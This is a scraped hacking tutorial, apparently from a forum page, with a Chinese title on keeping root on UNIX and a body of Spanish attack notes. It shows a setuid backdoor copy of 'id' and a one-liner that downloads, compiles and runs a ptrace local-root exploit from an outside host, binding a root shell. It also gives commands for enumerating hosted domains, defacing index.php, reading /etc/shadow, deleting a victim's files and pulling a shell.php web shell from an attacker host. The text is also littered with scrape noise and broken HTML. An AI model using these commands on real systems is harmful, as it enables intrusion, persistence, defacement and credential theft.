总结UNIX成为root以后保持权限的方法

韩冰

<><FONT color=#ff0000>by:cnbird</FONT></P>
' e& V7 z- r" l2 j' p( o0 y& y/ D9 m<>1.</P>
<>[cnbird@localhost tmp]#id</P>
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
<>[cnbird@localhost tmp]#cp `which id ` .</P>
<>[cnbird@localhost tmp]#chown root ./id</P>
7 Q3 ]7 q  L( q2 f, w  R( h! ]& j<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
<>[cnbird@localhost tmp]#ls -l ./id</P>
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
<>[cnbird@localhost tmp]#exit</P>
<>[cnbird@localhost tmp]$id</P>
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
<>[cnbird@localhost tmp]$./id </P>
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
7 L9 n5 p' }' z: N9 Q<>2.利用ptrace成为root的方法</P>
+ M+ l2 ^4 b0 F$ ^& Z; ^0 y+ y9 w<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
  c8 L, i7 u# g. {6 ]/ g9 I5 D-&gt; Parent's PID is 2313. Child's PID is 2314.
  \! z! i/ q6 e% v-&gt; Attaching to 2315...
/ P4 s0 U4 a5 \( q1 V% s-&gt; Got the thread!!
5 c: Y& b' ~: w2 @-&gt; Waiting for the next signal...
% `7 d- ~6 V2 ]. Q-&gt; Injecting shellcode at 0x4000e85d
-&gt; Bind root shell on port 24876... =p
-&gt; Detached from modprobe thread.
-&gt; Committing suicide.....</P>
" f, ]  g, I; k3 Z0 W' b4 H$ b6 B1 M<>[bash]# id
uid=0(root) gid=0(root) groups=0(root)</P>
<>ara ver los dominios que hay en el server:
4 X9 l7 Q8 S& D---------------------------------------------------------
- E; Q( y% I3 `4 Tcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
cat /etc/userdomains &lt;&lt; Este es el mas comun
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<>ara ver la version de kernel:
$ d( g% w4 w, V8 d& p; ^---------------------------------------------------------
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
; c! f9 x  L$ E. O6 k---------------------------------------------------------</P>
<>ara modificar un index ya existente:
2 \" m( @( I, U5 m- W' Y---------------------------------------------------------
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
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<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
/ {/ j  k# O, X. ^  y---------------------------------------------------------
; z2 Y5 q1 n, u  o& icd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
2 Y& n5 Q% r$ Xcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
- g/ B6 [; [- g( N/ f& k* vcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
Hasta aqui termina el proceso para un exploit.
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* K8 M' N+ h- F+ E<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
+ n" d* Q+ U: q( u, B9 Q: W---------------------------------------------------------
' t/ A/ o! b1 w4 X0 wcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
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<>Borrar un Ficher
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# x2 L8 N( H& c. \6 \' hcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
, {1 X4 ?! X5 z0 O4 Y- z" s---------------------------------------------------------</P>
<>Subir un ficher
+ [4 Q$ d. o: s1 _" y---------------------------------------------------------
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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